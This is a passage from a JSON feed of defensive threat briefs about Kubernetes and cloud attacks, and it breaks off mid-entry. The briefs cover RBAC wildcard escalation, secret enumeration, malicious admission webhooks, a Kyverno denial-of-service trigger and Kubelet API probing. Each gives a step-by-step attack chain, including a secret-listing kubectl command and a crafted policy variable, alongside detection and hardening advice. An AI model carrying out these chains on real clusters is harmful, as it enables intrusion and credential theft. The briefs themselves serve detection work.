activity.\u003c/li\u003e\n\u003cli\u003eReview and harden RBAC configurations to minimize the potential for privilege escalation (attack.t1609).\u003c/li\u003e\n\u003cli\u003eImplement strict network segmentation to limit lateral movement within the cluster and connected networks.\u003c/li\u003e\n\u003cli\u003eRegularly scan pods for exposed secrets using dedicated secret scanning tools and enforce secure secret management practices.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for unusual or unauthorized API activity (logsource: kubernetes, service: audit).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-29T12:00:00Z","date_published":"2024-01-29T12:00:00Z","id":"/briefs/2024-01-kubernetes-enumeration/","summary":"Attackers attempt to enumerate and discover sensitive information within a Kubernetes cluster by leveraging common shells, utilities, and specialized tools, as reflected in audit logs.","title":"Kubernetes Cluster Enumeration via Audit Logs","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-enumeration/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kyverno"],"_cs_severities":["medium"],"_cs_tags":["kyverno","denial-of-service","kubernetes","policy-engine"],"_cs_type":"advisory","_cs_vendors":["Kyverno"],"content_html":"\u003cp\u003eA denial-of-service vulnerability exists in the \u003ccode\u003eforEach\u003c/code\u003e mutation handler of Kyverno, a Kubernetes policy engine. Specifically, Kyverno versions v1.13.0 through v1.17.1 are susceptible to a flaw where an unchecked type assertion within the \u003ccode\u003eForEach\u003c/code\u003e function in \u003ccode\u003epkg/engine/mutate/mutation.go\u003c/code\u003e can be triggered by a specially crafted \u003ccode\u003ePolicy\u003c/code\u003e or \u003ccode\u003eClusterPolicy\u003c/code\u003e. Any user with the ability to create these policy types can exploit this vulnerability. When a \u003ccode\u003epatchesJson6902\u003c/code\u003e field contains a variable substitution (e.g., \u003ccode\u003e{{ element.nonexistent }}\u003c/code\u003e) that resolves to \u003ccode\u003enil\u003c/code\u003e at runtime, the type assertion \u003ccode\u003e.(string)\u003c/code\u003e on a nil \u003ccode\u003einterface{}\u003c/code\u003e triggers an unrecoverable Go panic. This results in the background controller entering a persistent CrashLoopBackOff state, effectively halting background processing. The admission controller will also drop connections and block matching resource operations. CEL-based policies are unaffected.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker crafts a malicious \u003ccode\u003ePolicy\u003c/code\u003e or \u003ccode\u003eClusterPolicy\u003c/code\u003e YAML manifest containing a \u003ccode\u003eforEach\u003c/code\u003e rule.\u003c/li\u003e\n\u003cli\u003eThe crafted rule includes a \u003ccode\u003epatchesJson6902\u003c/code\u003e field with a variable substitution, such as \u003ccode\u003e{{ element.nonexistent }}\u003c/code\u003e, designed to resolve to \u003ccode\u003enil\u003c/code\u003e at runtime.\u003c/li\u003e\n\u003cli\u003eThe attacker applies the malicious policy to the Kubernetes cluster. This requires appropriate permissions to create \u003ccode\u003ePolicy\u003c/code\u003e or \u003ccode\u003eClusterPolicy\u003c/code\u003e resources.\u003c/li\u003e\n\u003cli\u003eWhen a resource matching the policy\u0026rsquo;s \u003ccode\u003ematch\u003c/code\u003e criteria is created or updated, the Kyverno admission controller attempts to apply the policy.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eForEach\u003c/code\u003e function in \u003ccode\u003epkg/engine/mutate/mutation.go\u003c/code\u003e is invoked, processing the \u003ccode\u003epatchesJson6902\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003eThe variable substitution resolves to \u003ccode\u003enil\u003c/code\u003e, leading to a bare type assertion failure: \u003ccode\u003efe[\u0026quot;patchesJson6902\u0026quot;].(string)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThis triggers an unrecoverable Go panic, causing either the background controller (if triggered by \u003ccode\u003emutateExisting\u003c/code\u003e rules) or the admission controller to terminate the connection.\u003c/li\u003e\n\u003cli\u003eThe background controller enters a CrashLoopBackOff state due to the persistent \u003ccode\u003eUpdateRequest\u003c/code\u003e resources that re-trigger the panic on every restart, achieving a denial-of-service.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability leads to a denial of service affecting Kyverno\u0026rsquo;s core functionalities within the Kubernetes cluster. An attacker can crash the background controller, halting critical background tasks such as generate rules, mutateExisting rules, and cleanup processes. The admission controller can also be affected, dropping connections and blocking resource operations that match the malicious policy\u0026rsquo;s criteria. If a ClusterPolicy is used, this block extends cluster-wide. This vulnerability allows even users with limited, namespace-scoped permissions (via Policy creation) to impact the entire cluster, thus escalating privileges.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Kyverno version v1.17.2 or later to patch the vulnerability (see Overview).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Kyverno Policy with Suspicious forEach\u003c/code\u003e to identify potentially malicious policies containing \u003ccode\u003eforEach\u003c/code\u003e loops with \u003ccode\u003epatchesJson6902\u003c/code\u003e fields that could trigger the vulnerability.\u003c/li\u003e\n\u003cli\u003eMonitor Kyverno controller logs for \u0026ldquo;panic: interface conversion: interface {} is nil, not string\u0026rdquo; errors, indicating a potential exploitation attempt (see Attack Chain, step 7).\u003c/li\u003e\n\u003cli\u003eImplement strict RBAC policies to limit the ability to create or modify Kyverno \u003ccode\u003ePolicy\u003c/code\u003e and \u003ccode\u003eClusterPolicy\u003c/code\u003e resources (see Impact).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-27T12:00:00Z","date_published":"2024-01-27T12:00:00Z","id":"/briefs/2024-01-kyverno-dos/","summary":"An unchecked type assertion in Kyverno versions v1.13.0 to v1.17.1 allows a user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff, leading to a denial of service, by crafting a malicious policy that triggers a nil pointer dereference in the forEach mutation handler.","title":"Kyverno Controller Denial of Service via forEach Mutation Panic","url":"https://feed.craftedsignal.io/briefs/2024-01-kyverno-dos/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Azure Kubernetes Service"],"_cs_severities":["medium"],"_cs_tags":["azure","kubernetes","defense-evasion"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eAttackers targeting Azure Kubernetes Service (AKS) environments may attempt to remove event logs to cover their tracks and hinder forensic investigations. This activity, which involves deleting Kubernetes events, directly impairs a defender\u0026rsquo;s ability to detect malicious behavior within the cluster. By removing evidence of their actions, attackers can prolong their presence within the environment and increase the potential for further compromise. This technique is relevant for defenders monitoring AKS environments for intrusion activity.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to the Azure environment, potentially through compromised credentials or exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Azure Kubernetes Service (AKS) cluster with sufficient privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates existing Kubernetes event logs to identify those they wish to remove.\u003c/li\u003e\n\u003cli\u003eThe attacker executes a command to delete specific Kubernetes events using kubectl or the Azure CLI. The API call used for the deletion is MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE.\u003c/li\u003e\n\u003cli\u003eThe Azure Activity Logs record the event deletion, which is the source of the detection.\u003c/li\u003e\n\u003cli\u003eThe attacker repeats steps 3-4 to remove additional event logs, further obscuring their activities.\u003c/li\u003e\n\u003cli\u003eThe attacker continues with their primary objective, such as deploying malicious containers, exfiltrating data, or establishing persistent access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful deletion of Kubernetes events can significantly hinder incident response efforts. Without access to event logs, defenders may struggle to identify the scope and timeline of an attack, potentially leading to incomplete remediation and prolonged exposure. The impact includes increased dwell time for attackers within the compromised environment, as well as a greater likelihood of successful data breaches or system disruptions.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect event deletion activity within AKS environments.\u003c/li\u003e\n\u003cli\u003eInvestigate any detected instances of the MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE operation in Azure Activity Logs, as indicated in the rule definition.\u003c/li\u003e\n\u003cli\u003eImplement robust RBAC policies within AKS to minimize the number of users and service accounts with permissions to delete Kubernetes events.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-09T18:30:00Z","date_published":"2024-01-09T18:30:00Z","id":"/briefs/2024-01-azure-kubernetes-events-deleted/","summary":"Adversaries may delete events in Azure Kubernetes to evade detection, which this rule detects via the MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE operation.","title":"Azure Kubernetes Events Deleted","url":"https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-events-deleted/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kubernetes"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","rbac","privilege-escalation","persistence"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule focuses on identifying suspicious activities related to Kubernetes Role-Based Access Control (RBAC). It specifically targets the creation, update, or patching of Kubernetes Roles or ClusterRoles that introduce high-risk permissions. These include wildcard access, where a single rule grants access to all resources, and escalation verbs like \u0026lsquo;bind\u0026rsquo;, \u0026rsquo;escalate\u0026rsquo;, or \u0026lsquo;impersonate\u0026rsquo;, which can be used to elevate privileges. The rule is designed to alert security teams to potential privilege escalation or unauthorized access attempts within Kubernetes environments. The Elastic detection rule was last updated on April 27, 2026, and aims to detect malicious actors attempting to gain cluster-admin-equivalent access by creating new ClusterRoles with \u003ccode\u003e*\u003c/code\u003e verbs/resources and binding them to their accounts or service accounts.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to create or modify a Role or ClusterRole.\u003c/li\u003e\n\u003cli\u003eThe attacker adds high-risk permissions to the Role or ClusterRole, such as wildcard verbs/resources (\u003ccode\u003e*\u003c/code\u003e) or escalation verbs (bind, escalate, impersonate).\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server authorizes the request, potentially due to misconfigured RBAC policies.\u003c/li\u003e\n\u003cli\u003eThe attacker creates or modifies a RoleBinding or ClusterRoleBinding to associate the modified Role or ClusterRole with a target user, group, or service account.\u003c/li\u003e\n\u003cli\u003eThe target user, group, or service account now possesses the elevated privileges granted by the modified Role or ClusterRole.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the elevated privileges to perform unauthorized actions within the cluster, such as accessing sensitive data or deploying malicious workloads.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves persistence by maintaining the modified Role or ClusterRole and its associated bindings, allowing continued access to elevated privileges.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to significant security breaches within a Kubernetes environment. Attackers can gain unauthorized access to sensitive data, deploy malicious workloads, disrupt services, and potentially compromise the entire cluster. This can result in data breaches, financial losses, and reputational damage. The rule aims to prevent attackers from silently expanding privileges, enabling persistence, or facilitating lateral movement across the cluster.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Creation of Sensitive Role\u003c/code\u003e to your SIEM to detect the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions.\u003c/li\u003e\n\u003cli\u003eEnable Kubernetes audit logging to capture the necessary events for the Sigma rules to function effectively (reference: Kubernetes audit logs in \u003ccode\u003elogsource\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eImplement RBAC guardrails using tools like OPA Gatekeeper or Kyverno to prevent the creation of Roles/ClusterRoles with wildcard or escalation verbs (reference: harden recommendation in the content).\u003c/li\u003e\n\u003cli\u003eRegularly review and audit RBAC configurations to identify and remediate overly permissive roles and bindings.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-04T12:00:00Z","date_published":"2024-01-04T12:00:00Z","id":"/briefs/2024-01-kubernetes-sensitive-role-creation/","summary":"Detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs, potentially leading to privilege escalation or unauthorized access within the cluster.","title":"Kubernetes Sensitive Role Creation or Modification","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-sensitive-role-creation/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","rbac","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies modifications to Kubernetes Roles or ClusterRoles that result in the granting of wildcard permissions for both verbs and resources. This effectively elevates the privileges associated with the role to be similar to that of a cluster-admin, granting near-complete control over the Kubernetes environment. This type of privilege escalation is often intentional and may indicate malicious activity, such as an attacker attempting to gain broader access within the cluster. The rule requires Kubernetes audit logs with RequestResponse level and the response body to inspect the final merged role. It excludes loopback source IPs to avoid false positives from local system processes.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a Role or ClusterRole that, if modified, would grant them broader privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl patch\u003c/code\u003e or \u003ccode\u003ekubectl update\u003c/code\u003e to modify the existing Role or ClusterRole.\u003c/li\u003e\n\u003cli\u003eThe modification introduces wildcard permissions (\u003ccode\u003everbs: [\u0026quot;*\u0026quot;]\u003c/code\u003e and \u003ccode\u003eresources: [\u0026quot;*\u0026quot;]\u003c/code\u003e) to the role\u0026rsquo;s rules.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server processes the patch or update request, granting the modified permissions.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the newly acquired privileges to perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious workloads, or further escalating privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to access other resources or namespaces within the Kubernetes cluster, taking advantage of the elevated permissions.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful privilege escalation can allow an attacker to gain complete control over a Kubernetes cluster. This can lead to data breaches, denial of service, deployment of malicious containers, and other security incidents. The severity of the impact depends on the scope of the compromised cluster and the sensitivity of the data and applications it hosts. A single compromised role can lead to a full cluster compromise if not detected and remediated quickly.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes RBAC Wildcard Elevation on Existing Role\u0026rdquo; to your SIEM and tune for your environment to detect wildcard privilege escalations in Kubernetes audit logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on the actor (user, group, impersonation) and their source IP.\u003c/li\u003e\n\u003cli\u003eDiff the Role or ClusterRole YAML before and after the change to understand the scope of the permission change.\u003c/li\u003e\n\u003cli\u003eReview RoleBindings and ClusterRoleBindings that reference the modified role to identify which subjects gained the widened access.\u003c/li\u003e\n\u003cli\u003eImplement policy-as-code to prevent unauthorized modifications to RBAC configurations.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious activity related to account manipulation (T1098) and privilege escalation (TA0004).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T18:23:00Z","date_published":"2024-01-03T18:23:00Z","id":"/briefs/2024-01-kubernetes-rbac-elevation/","summary":"The rule detects when a Kubernetes Role or ClusterRole is patched or updated to grant wildcard verbs and resources, effectively granting cluster-admin-like privileges, which is often a deliberate privilege expansion and could indicate malicious activity.","title":"Kubernetes RBAC Wildcard Elevation on Existing Role","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-rbac-elevation/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies suspicious Kubernetes API access patterns indicative of credential access. Specifically, it focuses on \u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e operations targeting the \u003ccode\u003esecrets\u003c/code\u003e resource performed by node identities (\u003ccode\u003esystem:node:*\u003c/code\u003e) or pod service accounts (\u003ccode\u003esystem:serviceaccount:*\u003c/code\u003e). Attackers who have compromised a pod service account or node credentials might attempt to enumerate secrets to discover sensitive information such as tokens, registry credentials, TLS keys, or application configurations. While legitimate controllers may read secrets, direct access from node or pod service accounts warrants investigation, especially when cross-namespace or involving high-value secrets. The rule is intended to be triaged based on namespace scope, user agent, RBAC, and relevance of the identity to the accessed secret.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Kubernetes cluster, possibly through compromising a pod or node.\u003c/li\u003e\n\u003cli\u003eAttacker obtains credentials for a service account associated with the compromised pod or accesses node credentials.\u003c/li\u003e\n\u003cli\u003eAttacker uses the stolen credentials to authenticate against the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to enumerate secrets within the cluster using \u003ccode\u003ekubectl get secrets --all-namespaces\u003c/code\u003e or similar API calls.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server receives the request and generates an audit log entry.\u003c/li\u003e\n\u003cli\u003eThis audit log entry contains details such as the user (\u003ccode\u003esystem:node:*\u003c/code\u003e or \u003ccode\u003esystem:serviceaccount:*\u003c/code\u003e), the action (\u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e), and the resource (\u003ccode\u003esecrets\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker identifies valuable secrets containing sensitive information such as API keys or database passwords.\u003c/li\u003e\n\u003cli\u003eAttacker exfiltrates the secrets, gaining unauthorized access to other systems or data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised Kubernetes secrets can lead to a wide range of security breaches, including unauthorized access to sensitive data, lateral movement within the cluster, and compromised external services that rely on the exposed credentials. If successful, attackers could gain complete control over the cluster and its applications, leading to data breaches, service disruption, and reputational damage. The risk is elevated in environments where secrets are not properly managed or where RBAC is overly permissive.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect unauthorized secret access attempts by node or pod service accounts in Kubernetes audit logs.\u003c/li\u003e\n\u003cli\u003eReview RBAC configurations to ensure least privilege for service accounts and nodes, limiting their access to only necessary secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on cross-namespace access, high-value secret names, and unusual user agents.\u003c/li\u003e\n\u003cli\u003eImplement a process for regularly rotating secrets and auditing access to sensitive resources within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eBaseline normal secret access patterns for in-cluster operators, CSI drivers, and GitOps agents, and create allowlists to reduce false positives.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T18:22:00Z","date_published":"2024-01-03T18:22:00Z","id":"/briefs/2024-01-kubernetes-secret-access/","summary":"This rule detects Kubernetes audit events where a node or pod service account attempts to read secrets directly, which is often a sign of credential access.","title":"Kubernetes Secret Access by Node or Pod Service Account","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["azure","kubernetes","admission-controller","persistence","privilege-escalation","credential-access"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eKubernetes Admission Controllers are critical components that intercept and potentially modify requests to the Kubernetes API server. These controllers rely on admission webhooks (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) deployed within the cluster. A malicious actor can abuse these webhooks to establish persistence by modifying pod creation operations and injecting malicious containers into new pods via MutatingAdmissionWebhook. Alternatively, ValidatingAdmissionWebhook can be used to intercept API server requests, potentially exposing secrets and sensitive information. This activity allows for credential access and privilege escalation, impacting the overall security posture of the Kubernetes cluster.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to the Azure Kubernetes cluster, possibly through compromised credentials or a vulnerability in a deployed application.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the existing Admission Controller configuration within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious MutatingAdmissionWebhook configuration to intercept pod creation requests.\u003c/li\u003e\n\u003cli\u003eThe malicious webhook is deployed to the cluster, configured to modify pod specifications.\u003c/li\u003e\n\u003cli\u003eWhen new pods are created, the webhook injects a malicious container into the pod specification before deployment.\u003c/li\u003e\n\u003cli\u003eThe malicious container executes within the newly created pod, providing the attacker with persistent access to the cluster.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker crafts a malicious ValidatingAdmissionWebhook to intercept API requests.\u003c/li\u003e\n\u003cli\u003eThe webhook captures sensitive data, such as secrets, and sends it to an attacker-controlled server, resulting in credential access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromising the Kubernetes Admission Controller can lead to persistent access within the cluster. The attacker can inject malicious containers into numerous pods, potentially affecting all applications deployed in the cluster. Sensitive information, like secrets, can be stolen, enabling lateral movement and privilege escalation within the Azure environment. The impact ranges from data breaches to complete cluster compromise.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Azure Kubernetes Admission Controller Configuration Change\u0026rdquo; to detect unauthorized modifications to Admission Controller configurations in Azure Activity Logs.\u003c/li\u003e\n\u003cli\u003eRegularly review and audit existing Admission Controller configurations for any unexpected or malicious webhooks.\u003c/li\u003e\n\u003cli\u003eImplement strong RBAC policies to restrict access to Admission Controller configuration and prevent unauthorized modifications.\u003c/li\u003e\n\u003cli\u003eMonitor Azure Activity Logs for \u003ccode\u003eMICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO\u003c/code\u003e and \u003ccode\u003eMICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO\u003c/code\u003e operations to identify potential abuse.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T15:30:00Z","date_published":"2024-01-03T15:30:00Z","id":"/briefs/2024-01-azure-kubernetes-admission-controller/","summary":"An adversary can exploit Kubernetes Admission Controllers in Azure to achieve persistence, privilege escalation, or credential access by manipulating webhook configurations.","title":"Malicious Azure Kubernetes Admission Controller Configuration","url":"https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-admission-controller/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail","EKS IAM Roles for Service Accounts"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","kubernetes","lateral-movement","credential-access","discovery"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis detection rule identifies lateral movement in AWS environments stemming from Kubernetes service accounts utilizing \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e. It focuses on detecting instances where credentials obtained via this method are subsequently used to perform several distinct AWS control-plane actions within a single session. This behavior deviates from typical pod traffic and could signify unauthorized access or privilege escalation. The rule prioritizes the detection of sensitive API usage, including reconnaissance activities, access to secrets, IAM modifications, and compute creation events, while strategically excluding high-volume S3 data-plane operations to minimize false positives. The targeted environments are those leveraging EKS IAM Roles for Service Accounts.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eA Kubernetes service account projects a token.\u003c/li\u003e\n\u003cli\u003eThe service account uses \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e to exchange the token for short-lived IAM credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the assumed role to perform reconnaissance activities such as \u003ccode\u003eListUsers\u003c/code\u003e, \u003ccode\u003eListRoles\u003c/code\u003e, and \u003ccode\u003eDescribeInstances\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to access secrets using actions like \u003ccode\u003eGetSecretValue\u003c/code\u003e and \u003ccode\u003eListSecrets\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges by modifying IAM policies with actions like \u003ccode\u003eAttachRolePolicy\u003c/code\u003e and \u003ccode\u003ePutRolePolicy\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to create new users or roles within the AWS environment using actions like \u003ccode\u003eCreateUser\u003c/code\u003e and \u003ccode\u003eCreateRole\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker performs lateral movement using actions like \u003ccode\u003eSendCommand\u003c/code\u003e and \u003ccode\u003eStartSession\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to evade detection by stopping logging with the \u003ccode\u003eStopLogging\u003c/code\u003e action.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to unauthorized access to sensitive data, privilege escalation, and the potential compromise of the entire AWS environment. Lateral movement within the AWS infrastructure allows attackers to gain access to critical systems and data, potentially leading to data breaches, service disruptions, or other malicious activities.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect potentially malicious activity related to \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e and tune for your environment.\u003c/li\u003e\n\u003cli\u003eReview and harden IAM role trust policies associated with Kubernetes service accounts, specifically focusing on OIDC trust conditions, as referenced in the \u003ca href=\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html\"\u003eIAM OIDC identity provider\u003c/a\u003e documentation.\u003c/li\u003e\n\u003cli\u003eImplement strict least privilege principles for Kubernetes service accounts, limiting their access to only the necessary AWS resources, as covered in \u003ca href=\"https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html\"\u003eEKS IAM roles for service accounts\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e events followed by suspicious API calls, focusing on the actions listed in the Sigma rule detection patterns.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T15:00:00Z","date_published":"2024-01-03T15:00:00Z","id":"/briefs/2024-01-aws-k8s-lateral-movement/","summary":"This rule detects lateral movement in AWS environments originating from Kubernetes service accounts by identifying instances where credentials obtained for a service account are used for multiple distinct AWS control-plane actions, potentially indicating unauthorized access.","title":"AWS Lateral Movement from Kubernetes Service Account via AssumeRoleWithWebIdentity","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-k8s-lateral-movement/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubelet","Elastic Defend","auditd_manager"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","lateral-movement","kubelet","linux","container"],"_cs_type":"advisory","_cs_vendors":["Elastic","Kubernetes"],"content_html":"\u003cp\u003eThis detection rule identifies suspicious network connections to the Kubernetes Kubelet API, specifically targeting ports 10250 and 10255, from Linux hosts within internal network ranges. Attackers frequently exploit weak authentication or network controls to access the Kubelet API, potentially enabling them to enumerate pods, retrieve logs, and execute commands on nodes. This activity often originates from common scripting utilities like \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, or interpreters like \u003ccode\u003epython\u003c/code\u003e and \u003ccode\u003enode\u003c/code\u003e, particularly when executed from world-writable directories such as \u003ccode\u003e/tmp\u003c/code\u003e, \u003ccode\u003e/var/tmp\u003c/code\u003e, or \u003ccode\u003e/dev/shm\u003c/code\u003e. This technique is often a component of container and cluster lateral movement, where the attacker seeks to expand their access within the Kubernetes environment. The rule is designed to detect these unauthorized attempts and alert security teams to investigate potential breaches.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a compromised container or host within the Kubernetes cluster, potentially through exploiting a vulnerability in a running application.\u003c/li\u003e\n\u003cli\u003eThe attacker executes a reconnaissance command, such as \u003ccode\u003ecurl\u003c/code\u003e or 